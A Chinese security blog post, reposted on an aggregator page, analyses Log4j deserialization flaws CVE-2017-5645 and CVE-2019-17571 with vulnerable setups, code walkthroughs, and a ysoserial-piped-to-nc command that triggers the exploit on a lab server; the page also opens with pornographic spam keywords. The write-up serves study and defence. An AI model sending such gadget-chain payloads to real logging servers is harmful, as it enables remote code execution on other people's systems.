国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

【java安全】Log4j反序列化漏洞

這篇具有很好參考價(jià)值的文章主要介紹了【java安全】Log4j反序列化漏洞。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

【java安全】Log4j反序列化漏洞

關(guān)于Apache Log4j

Log4j是Apache的開源項(xiàng)目,可以實(shí)現(xiàn)對(duì)System.out等打印語(yǔ)句的替代,并且可以結(jié)合spring等項(xiàng)目,實(shí)現(xiàn)把日志輸出到控制臺(tái)或文件等。而且它還可以通過一個(gè)配置文件來靈活地進(jìn)行配置,而不需要修改應(yīng)用的代碼,滿足了大多數(shù)要求。

就是用來打印日志的

漏洞成因

本文介紹的Log4j反序列化漏洞都是由于未對(duì)傳入的需要發(fā)序列化的數(shù)據(jù)進(jìn)行過濾,導(dǎo)致了惡意構(gòu)造從而造成相關(guān)的反序列化漏洞

CVE-2017-5645

漏洞版本

Log4j 2.x <= 2.8.1

復(fù)現(xiàn)環(huán)境
  • jdk1.7
  • Log4j-api,Log4j-core 2.8.1
  • commons-collections 3.1
漏洞復(fù)現(xiàn)

pom.xml

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.8.1</version>
</dependency>

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.8.1</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

demo

public class Log4jDemo {
    public static void main(String[] args) {
        TcpSocketServer myServer = null;
        try {
            myServer = new TcpSocketServer(7777,new ObjectInputStreamLogEventBridge()); 
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
        myServer.run();
    }
}

我們運(yùn)行一下這個(gè)類,它會(huì)監(jiān)聽本地的7777端口,然后我們需要將數(shù)據(jù)傳遞進(jìn)去

【java安全】Log4j反序列化漏洞,java,java,安全,log4j,web,web安全

然后我們使用ysoserial生成一條cc鏈,nc傳給它即可觸發(fā)漏洞:

java -jar ysoserial.jar CommonsCollections1 "calc" | nc 192.168.1.100 7777

【java安全】Log4j反序列化漏洞,java,java,安全,log4j,web,web安全

漏洞分析

我們先來分析TcpSocketServer#main()方法,啟動(dòng)Log4j后,通過createSerializedSocketServer()創(chuàng)建了一個(gè)socketServer

【java安全】Log4j反序列化漏洞,java,java,安全,log4j,web,web安全

然后會(huì)調(diào)用startNewThread()方法,我們跟進(jìn):

public Thread startNewThread() {
        Thread thread = new Log4jThread(this);
        thread.start();
        return thread;
    }

會(huì)調(diào)用線程的start()方法,于是我們跟進(jìn)TcpSocketServer#run()方法中,run()首先會(huì)判斷socket是否關(guān)閉,然后調(diào)用this.serverSocket.accept()去接受數(shù)據(jù),賦值給clientSocket變量,然后去調(diào)用SocketHandler的構(gòu)造方法,返回一個(gè)handler

【java安全】Log4j反序列化漏洞,java,java,安全,log4j,web,web安全

我們跟進(jìn)一下SocketHandler類:

public SocketHandler(Socket socket) throws IOException {
            this.inputStream = TcpSocketServer.this.logEventInput.wrapStream(socket.getInputStream());
        }

發(fā)現(xiàn)socket將接收到的數(shù)據(jù)轉(zhuǎn)換成ObjectInputStream對(duì)象,賦值給:this.inputStream

(因?yàn)橹拔覀兊拇a中將logEventInput賦值為ObjectInputStreamLogEventBridge對(duì)象了):

【java安全】Log4j反序列化漏洞,java,java,安全,log4j,web,web安全

所以這個(gè)對(duì)象的wrapStream()函數(shù)會(huì)返回ObjectInputStream對(duì)象

public ObjectInputStream wrapStream(InputStream inputStream) throws IOException {
        return new ObjectInputStream(inputStream);
    }

當(dāng)我們調(diào)用完SocketHandler()后,返回handler,接著調(diào)用handler.start()這樣就會(huì)調(diào)用SocketHandler#run()方法:

【java安全】Log4j反序列化漏洞,java,java,安全,log4j,web,web安全

run方法中會(huì)將前面的產(chǎn)生的ObjectInputStream對(duì)象傳遞給this.logEventInput.logEvents()方法中,我們跟進(jìn):

【java安全】Log4j反序列化漏洞,java,java,安全,log4j,web,web安全

該方法會(huì)調(diào)用inputStream#readObject()方法進(jìn)行反序列化,并且整個(gè)步驟沒有任何過濾,因此當(dāng)我們傳入的數(shù)據(jù)為惡意的cc鏈就可以觸發(fā)反序列化漏洞了

CVE-2019-17571

這個(gè)也是類似的

漏洞版本

Log4j 1.2.x <= 1.2.17

漏洞復(fù)現(xiàn)

pom.xml

<dependency>
    <groupId>log4j</groupId>
    <artifactId>log4j</artifactId>   <!-- 注意這里使用的是log4j -->
    <version>1.2.17</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

src/main/resources/log4j.properties

log4j.rootCategory=DEBUG,stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.threshold=DEBUG
log4j.appender.stdout.layout.ConversionPattern=[%d{yyy-MM-dd HH:mm:ss,SSS}]-[%p]-[MSG!:%m]-[%c\:%L]%n

Log4jDemo.java

public class Log4jDemo {
    public static void main(String[] args) {
        String[] arguments = {"7777", Log4jDemo.class.getClassLoader().getResource("log4j.properties").getPath()};
        SimpleSocketServer.main(arguments);
    }
}

還是和上面一樣,執(zhí)行,然后使用ysoserial:

java -jar ysoserial.jar CommonsCollections1 "calc" | nc 192.168.1.100 7777
漏洞分析
public class Log4jDemo {
    public static void main(String[] args) {
        String[] arguments = {"7777", Log4jDemo.class.getClassLoader().getResource("log4j.properties").getPath()};
        SimpleSocketServer.main(arguments);
    }
}

首先跟進(jìn)SimpleSocketServer.main()方法:

【java安全】Log4j反序列化漏洞,java,java,安全,log4j,web,web安全

開啟SocketServer服務(wù)器后,會(huì)設(shè)置監(jiān)聽端口,然后accept()將接受到的數(shù)據(jù)賦值給socket對(duì)象,接著調(diào)用SocketNode()socket給傳進(jìn)去

【java安全】Log4j反序列化漏洞,java,java,安全,log4j,web,web安全

這里和上面類似,也會(huì)將接受到的數(shù)據(jù)以ObjectInputStream對(duì)象返回給this.ois

在后面調(diào)用Thread#start()方法后會(huì)繼續(xù)調(diào)用SocketNode#run()方法:

【java安全】Log4j反序列化漏洞,java,java,安全,log4j,web,web安全

這里同樣沒有經(jīng)過任何過濾,就將數(shù)據(jù)進(jìn)行反序列化觸發(fā)漏洞

參考

https://www.anquanke.com/post/id/229489#h2-0

https://xz.aliyun.com/t/7010#toc-3

https://github.com/Maskhe/javasec/blob/master/4.log4j%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.md文章來源地址http://www.zghlxwxcb.cn/news/detail-665107.html

到了這里,關(guān)于【java安全】Log4j反序列化漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • Apache Log4j Server 反序列化命令執(zhí)行漏洞(CVE-2017-5645)(漏洞復(fù)現(xiàn)詳細(xì)過程)

    Apache Log4j Server 反序列化命令執(zhí)行漏洞(CVE-2017-5645)(漏洞復(fù)現(xiàn)詳細(xì)過程)

    目錄 一、漏洞介紹 二、漏洞環(huán)境搭建 三、漏洞利用 四、漏洞流量特征: CVE-2017-5645 是 Apache Log4j 服務(wù)器的一個(gè)反序列化命令執(zhí)行漏洞,攻擊者可以利用這個(gè)漏洞通過發(fā)送精心制作的請(qǐng)求,遠(yuǎn)程執(zhí)行命令,從而危及服務(wù)器的安全。 進(jìn)入漏洞目錄文件,啟動(dòng)漏洞環(huán)境:docker-c

    2024年02月16日
    瀏覽(37)
  • Log4j反序列化命令執(zhí)行漏洞(CVE-2017-5645)&Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

    Log4j反序列化命令執(zhí)行漏洞(CVE-2017-5645)&Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

    Apache Log4j是一個(gè)用于Java的日志記錄庫(kù),其支持啟動(dòng)遠(yuǎn)程日志服務(wù)器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻擊者可利用該漏洞執(zhí)行任意代碼 環(huán)境:vulhub 工具下載地址: ysoserial 利用工具生成payload: 1.創(chuàng)建文件 進(jìn)入容器內(nèi)部,查看文件創(chuàng)建成功 2.查看反彈的shell 有點(diǎn)

    2024年02月11日
    瀏覽(37)
  • 036-安全開發(fā)-JavaEE應(yīng)用&第三方組件&Log4j日志&FastJson序列化&JNDI注入

    036-安全開發(fā)-JavaEE應(yīng)用&第三方組件&Log4j日志&FastJson序列化&JNDI注入

    1、JavaEE-組件安全-Log4j 2、JavaEE-組件安全-Fastjson 3、JavaEE-基本了解-JNDI-API 演示案例: ?Java-三方組件-Log4JJNDI ?Java-三方組件-FastJson反射 Jar倉(cāng)庫(kù): https://mvnrepository.com/ Maven配置: https://www.jb51.net/article/259780.htm JNDI相關(guān)概念: 1、JNDI是一個(gè)接口,在這個(gè)接口下會(huì)有多種目錄系統(tǒng)

    2024年02月21日
    瀏覽(18)
  • shiro反序列化和log4j

    shiro反序列化和log4j

    進(jìn)入vulhb目錄下的weblogic,復(fù)現(xiàn)CVE-2018-2894漏洞: 查看docker-compose的配置文件: 如圖,里面有一個(gè)鏡像文件的信息和服務(wù)名,以及它的 端口號(hào) (后面要用): 然后使用下面命令,搭建docker-compose并啟動(dòng): 如圖,安裝成功: 原理如下

    2024年02月07日
    瀏覽(25)
  • Log4j2 反序列化漏洞與復(fù)現(xiàn)

    Log4j → Log for Java ,Apache的開源日志記錄組件 JDK →1.8u21以下的版本 CVE-2021-44228 遠(yuǎn)程代碼執(zhí)行 →2.15.0修復(fù) CVE-2021-45046 拒絕服務(wù)Dos →2.16.0修復(fù) CVE-2021-45105 拒絕服務(wù)Dos →2.17.0修復(fù) CVE-2021-44832 遠(yuǎn)程代碼執(zhí)行 →2.17.1修復(fù) Log4j為了輸出日志時(shí)能輸出任意位置的Java對(duì)象,引入了Looku

    2024年02月05日
    瀏覽(29)
  • 網(wǎng)絡(luò)安全 log4j漏洞復(fù)現(xiàn)

    網(wǎng)絡(luò)安全 log4j漏洞復(fù)現(xiàn)

    前言: log4j被爆出“史詩(shī)級(jí)”漏洞。其危害非常大,影響非常廣。該漏洞非常容易利用,可以執(zhí)行任意代碼。這個(gè)漏洞的影響可謂是重量級(jí)的。 漏洞描述: 由于Apache Log4j存在遞歸解析功能,未取得身份認(rèn)證的用戶,可以從遠(yuǎn)程發(fā)送數(shù)據(jù)請(qǐng)求輸入數(shù)據(jù)日志,輕松觸發(fā)漏洞,最

    2024年02月09日
    瀏覽(26)
  • Solr Shiro Log4j2 命令執(zhí)行--文件讀取--反序列化--身份權(quán)限繞過--命令執(zhí)行

    Solr Shiro Log4j2 命令執(zhí)行--文件讀取--反序列化--身份權(quán)限繞過--命令執(zhí)行

    Apache Velocity是一個(gè)基于Java的模板引擎,它提供了一個(gè)模板語(yǔ)言去引用由Java代碼定義的對(duì)象。Velocity是Apache基金會(huì)旗下的一個(gè)開源軟件項(xiàng)目,旨在確保Web應(yīng)用程序在表示層和業(yè)務(wù)邏輯層之間的隔離(即MVC設(shè)計(jì)模式)。 Apache Solr 5.0.0版本至8.3.1版本中存在輸入驗(yàn)證錯(cuò)誤漏洞。攻擊

    2024年02月08日
    瀏覽(28)
  • Web網(wǎng)絡(luò)安全-----Log4j高危漏洞原理及修復(fù)

    Web網(wǎng)絡(luò)安全-----Log4j高危漏洞原理及修復(fù)

    Web網(wǎng)絡(luò)安全-----紅藍(lán)攻防之信息收集 Log4j 即 log for java(java的日志) ,是Apache的一個(gè)開源項(xiàng)目,通過使用Log4j,我們可以控制日志信息輸送的目的地是控制臺(tái)、文件、GUI組件,甚至是套接口服務(wù)器、NT的事件記錄器、UNIX Syslog守護(hù)進(jìn)程等;我們也可以控制每一條日志的輸出格式;

    2024年02月10日
    瀏覽(24)
  • log4j漏洞詳解

    log4j漏洞詳解

    log4j全名就是(log for java),就是apache的一個(gè)開源的日志記錄組件 ,它在Java項(xiàng)目中使用的比較廣泛。 使用方法: ??????????????? 1.pom引入依賴 ??????????????? 2.獲取logger實(shí)例 ??????????????? 3.logger.info() debug() error() warn()... 優(yōu)點(diǎn):功能豐富,易于集成

    2024年02月16日
    瀏覽(23)
  • Log4j遠(yuǎn)程代碼執(zhí)行漏洞

    Log4j遠(yuǎn)程代碼執(zhí)行漏洞

    簡(jiǎn)介 漏洞描述 Apache Log4j 是 Apache 的一個(gè)開源項(xiàng)目,Apache log4j-2 是 Log4j 的升級(jí),我們可以控制日志信息輸送的目的地為控制臺(tái)、文件、GUI組件等,通過定義每一條日志信息的級(jí)別,能夠更加細(xì)致地控制日志的生成過程。 Log4j-2中存在JNDI注入漏洞,當(dāng)程序?qū)⒂脩糨斎氲臄?shù)據(jù)日志

    2024年02月11日
    瀏覽(25)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包